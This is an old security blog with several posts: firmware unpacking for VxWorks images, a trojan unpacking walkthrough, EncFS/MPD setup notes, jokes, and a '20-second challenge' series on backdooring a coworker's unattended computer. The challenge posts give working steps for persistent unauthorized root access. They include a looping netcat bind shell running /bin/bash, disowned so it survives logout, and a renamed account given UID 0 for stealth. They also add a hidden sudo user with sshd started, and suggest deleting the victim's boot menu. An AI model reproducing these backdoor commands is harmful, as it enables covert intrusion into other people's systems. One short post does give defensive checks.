Wednesday, December 15, 2010

The 20-second challenge - Part IV

You could sometimes be lazy enough to willing have direct root shell access (no login required). A really simple solution exists again, redirecting the socket directly to /bin/sh (or better, /bin/bash) launched by an UID 0 account.

I have 2 basic solutions for that:
- netcat
- inetd

The inetd method is more adapted to Unix system where it often comes in default configuration. Netcat, on the other side, is often found in Linux systems. With netcat, just use:

$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&

This will background your infinite loop (this is a bit dirty...). It is unforunately completely un-stealth, as the netcat process will be seen in ps and netstat returns. Furthermore, if you kill the session used to launch the loop, the current netcat job will be attached to pid 1 and the loop will stop.

An easy solution to let the "while" loop running, attached to a lower level pid (e.g. pid 1) is to "disown" it from your current session:

before disowning:
├─gnome-terminal─┬─bash───pstree
│ ├─bash
│ ├─bash───bash───netcat

after disowning:
init─┬─6*[agetty]
├─bash───netcat

To do this, a very simple bash builtin command: disown!

$ while 'true'; do netcat -l -p 6666 -e /bin/bash; done&
[1] 3295
$ jobs
[1]+  Running                 while 'true'; do
    netcat -l -p 6666 -e /bin/bash;
done &
$ disown %1

Next time, I will check some (x)inetd tricks to backdoor even more colleagues' stations.

The 20-second challenge - Part III

Here is a quick post on how to check you don't have any malicious services running on your machine.

$ netstat -antup | grep LISTEN

It will list all sockets listening for connections on your machine, and the associated process. Check if there is no suspect telnet running...
Also, check your crontab:

$ crontab -l
$ crontab -e

List and edit weird jobs. Don't forget to do that for all users that can log in.

Tuesday, December 14, 2010

The 20-second challenge - Part II

OK, you have the console logged just in front of you! Let's go for the simplest backdoor (much simpler than the wheel gid + visudo previously posted): the UID 0 account!

- Edit the /etc/passwd.
- Choose an account with a dummy name and a shell environment (do not create a new one: it would not be stealth enough).
- Change its UID to 0.
- Eventually reset its password if you do not know the original one.
Done.

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
prout:x:0000:1016::/home/prout:/bin/bash
$ su - prout
Password:
#id
uid=0(root) gid=1001(prout) groups=0(root),1001(prout)

Now, you can reset the root password on demand, kill the graphical interface of your co-worker on demand, and delete his /boot/grub/menu.lst for even more fun!

The 20-second challenge - Part I

Say a coworker left his computer unattended, with a root console opened. He is about to come back (you can hear its footsteps in the corridor). You have approximatively 20 seconds to backdoor his computer. What do you do ?

Here is the most straightforward trick:

$ useradd -g users, wheel -s /bin/bash sysadm
$ passwd sysadm
$ visudo
$ /etc/init.d/ssh start

This way you:
- create a new user. The name has to look "normal", you should avoid "l33th4xx".
- set its password.
- add your newly created user to the sudoers file.
- start the ssh server, so you can come back later.

First prank:
$ [come back to your office]
$ ssh sysadm@my-stupid-coworker
$ sudo su
$ su my-stupid-coworker
$ export DISPLAY=:0.0 && firefox http://bonjourmadame.fr

No need for explanation ;-)

Hopefully we'll come back for more tricks / pranks / anti-coworker-pranks.

Thursday, December 2, 2010

The echo complexity

Just a tip for our customers: if the following command does not actually configure your HTTP proxy settings:

echo "export http_proxy=http://my-proxy:8080"

just try :

export http_proxy=http://my-proxy:8080

It's sometime better without the "echo".

Friday, November 12, 2010

Quick checks on VxWorks images - part 1

In GNIF, we are seeing lots of different equipments being deployed for running networks. Many of them are working with VxWorks, especially version 5.5 that is common. It is a real-time OS supplied by WindRiver. For some initial views (still quite complete) on the particularity of this OS and its analysis, you can report to the following posts:

- Matasano
- HD Moore
- Newsoft

This OS is running on many different systems, such as helium balloon for expanding satellite network or IP-enabled fridge and microwave oven. GNIF is proud to provide you some quick results on applying some existing reversing techniques on these systems.

In this 1st part on VxWorks, we are not going to dive into the system itself, but just going to check what you have in your hands when you get such a firmware. Let's go with the helium balloon: we have a binary file of some MB of data suffixed with a .bz, however file indicate it's just data. Let's open it with an hex-editor: we can first see an ascii header followed by hex data.

$ strings -a image.bz | head -20
AZC File Signature
3SZ_SW
* Header Length : 358 Bytes
* Product Version : Rel_9_0_0_8666
* Date & Time : Wed Nov 09 12:03:31 2004
* Code Length : 2358544 Bytes
* Bootrom Length : 176500 Bytes
* Unit Type : PIPO
* HW Revision : 8
* SW Type : S
************* End of Header *****************
4JKTJH
[...]

The data following the header is very entropic. One can guess it is compressed data, thanks to the zlib magic number few bytes after the end of the header: 0x789c. Furthermore, from the header, it looks like we have 2 images (one system and one bootrom). So we will use the most basic strategy to uncompress thoses files: the brute-force! Scan the file for the magic bytes 0x789c, and try to uncompress from the offset... and see what you get.

In few lines of python:

fd = open('image.bz', 'ro')
a = fd.read(); fd.close()
from zlib import decompress
of, f = 0, a.find('\x78\x9c')
while f >= 0:
    of += f
    try:
        data = decompress( a[of:] )
        print 'decrompressed at: 0x%x' % of
    except:
        pass
    f = a[of+2:].find('\x78\x9c')
    of += 2

This returns the following address:
decrompressed at: 0x210
decrompressed at: 0x2b384

OK, we have our 2 offsets corresponding to our 2 parts; furthermore, we see that the size of the compressed sections is equal to the length provided in the text header. We can now decompress it in files to check it further.

In [107]: fd = open('p1', 'wb')
In [108]: fd.write( decompress( a[0x210:] ))
In [109]: fd.close()
In [112]: fd = open('p2', 'wb')
In [113]: fd.write( decompress( a[0x2b384:] ))
In [114]: fd.close()
In [115]: !ls -l
total 11740
-rw-r--r-- 1 prout users 2535572 Dec 2 14:31 image.bz
-rw-r--r-- 1 prout users 178685 Dec 2 15:06 p1
-rw-r--r-- 1 prout users 9065873 Dec 2 15:07 p2

That's it!
Now let's move to the image of the IP-enabled fridge. Again, we have a file suffixed with .bin. File command does not recognize it => hexedit.

$ hexedit image.bin
00000000 76 65 72 20 39 38 32 00 00 00 00 00 00 00 00 00 ver 982.........
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 01 01 63 00 00 07 85 53 00 00 01 00 00 00 00 00 ..c....S........
00000050 D6 0F E5 B9 66 00 00 00 00 00 00 00 00 00 00 00 ....f...........
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0 08 78 9C B4 5A 0D 70 54 55 96 3E 9D 0E 49 77 88 .x..Z.pTU.>.

We have some kind of binary header with a file version, and what could be file size and checksum, and again our gzip magic number: 0x789c. After checking the size of the file section after the gzip magic bytes, we get the corresponding value in the header at offset 0x44: 0x78553. We check in the same way the CRC32 of the file section and get the corresponding value in the header at offset 0x50: 0xD60FE5B9. This is good to know if we want to patch the firmware afterwards.
Now, we can apply the same decompressing script and get a single system image.

We have some VxWorks system images. Next step will be to start the statical analysis, try to retrieve the VxWorks symbol table (inspired from the Matasano recipe) and retrieve the firmware loading address in order to be able to disassemble it properly.

To conclude, we have seen that VxWorks images have similarities in that they are compressed sections with zlib after a header section. However, due to the diversity of board, CPU and uC suppliers, bootloading procedures may vary and may take different kind of header format.


Friday, November 5, 2010

Friday hexadecimal entertainment

TLDR: 
  • OllyDBG works like a charm in Wine
  • Looking into malwares on Friday is fun

Working on fridays sucks. So here is a little reverse-engineering fun.

On a supposedly "empty" USB stick, I found a weirdly-named file:
$ ls
gy.cmd
$ file gy.cmd
gy.cmd: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

You can get it there (pass: GraLandSec).

A quick visit to Virus Total confirms that it is a Trojan. And here is something fun to do before week-end !
First, a quick look at the file with IDA, now with a native Qt interface under Linux. No need to boot a VM, my good old XP in VirtualBox is now officially half-useless (as we will see later, we can do a lot of things with PE juste with Linux). Here is what the flow-chart looks like at the entrypoint:


Very simple and linear, except for what looks like a loop at the end. Let's zoom in:

This really looks like a decoding loop (with the memory acces sub [esi], al). After the loop, we apparently have junk / random bytes. At this point, we can say that the program is packed, with a simple decoding routine at the entrypoint. How can we continue the analysis ? Under Linux, IDA have debugging capabilities for Linux executables, or using a remote debugger.
So here comes our second tool, the best for PE32 debugging: OllyDbg. Even if it is only distributed for Windows, it runs perfectly under Wine. Lets see what our loop looks like :

We have a lot of junk code (useless instructions like add eax, N; dec eax, N). Fill it with NOPs. Looking at the bottom of the loop, we can see that ECX is the loop counter. Let's track operation on it. After a bit of cleanup, our code looks like this:

Much cleaner ! Now, we can run the program in the debugger and make it decode itself. Set a break point on the bottom of the loop, and watch it do the work ! You'll see that our counter is indeed ECX, and it is decremented at each loop. You can set a conditionnal breakpoint to make the program stop when ECX==0.
The next part is another decoding loop, similar to the first one. The decoding loop counter is in EDX, the "key" is stored in ESI, the write index is ECX. I'll let you look at it, there is a lot of funny stuff to see in this file. Happy native-PE32-linux-debugging !

Blackhat parallel sessions

A colleague who attended the last blackhat conference could unfortunately not see all the 8 parallel talks (he is not -yet- ubiquitous). Someone asked why the conference's organisators were proposing so much sessions in parallel...

The answer is quite simple: because they put 4 steaks into one single burger! That's the U.S.A.

Friday, October 29, 2010

A piece of GNIF wisdom

Heard at a meeting with GNIF clients:
"Well, you know, using the SSID of your wifi AP as a pre-shared key is not... really secure".

Thursday, October 28, 2010

Cloud storage is hasbeen

Now we have a much better technique for storing securely sensitive data: the sms, aka the "SubMarine Storage".
This guaranties the sealing of stored data and avoids any unauthorized reuse!

EncFS and MPD

As every reasonably paranoïd person should do, I encrypt all the "sensible" content of my work laptop. By sensible, I mean everything that is not related to work:
- music
- TV Shows
- pictures from 4chan
- CV (yes, searching a new job at work is OK)
For encryption, I use EncFS, a user-space encrypted filesystem built on FUSE.

I wanted to install MPD, to be able to play my music when I crash / kill X. Unfortunately, it was not as simple as I imagined, due to multiple permission problems. Here is the scenario:
- encrypted EncFS folder is ~/.sec/
- I mount it on ~/sec/
- music is inside ~/sec/music/

If I try to start mpd (with music_directory set to /home/rocco/sec/music in /etc/mpd.conf):
$ sudo mpd /etc/mpd.conf
failed to stat music directory "/home/rocco/sec/music": Permission denied
So mpd cannot access the music folder. Fortunately for me, the Arch Wiki has a solution for me: remount the directory to a directory where mpd has access, for example /var/lib/mpd.

$ sudo mkdir /var/lib/mpd/music
$ sudo mount --bind /home/rocco/sec/music/ /var/lib/mpd/music/
mount: block device /home/rocco/sec/music/ is write-protected, mounting read-only
mount: cannot mount block device /home/rocco/sec/music/ read-only

Say whaaaat ? A little strace magic gives us:

[...]
mount("/home/rocco/sec/music/", "/var/lib/mpd/music/", 0x805371f, MS_MGC_VAL|MS_BIND, NULL) = -1 EACCES (Permission denied)
[...]
mount("/home/rocco/sec/music/", "/var/lib/mpd/music/", 0x805371f, MS_MGC_VAL|MS_RDONLY|MS_BIND, NULL) = -1 EACCES (Permission denied)

So even root cannot mount the music folder... The solution lies in man encfs:
By default, all FUSE based filesystems are visible only to the user who mounted them. No other users (including root) can view the filesystem contents.
We must let FUSE know that we want the filesystem to be accessible to others. Add user_allow_other in /etc/fuse.conf and mount your EncFS directory with the option -o allow_other. The bind mount will then work:

$ encfs -o allow_other ~/.sec/ ~/sec/
$ sudo mount --bind /home/rocco/sec/music/ /var/lib/
$ sudo mpd /etc/mpd.conf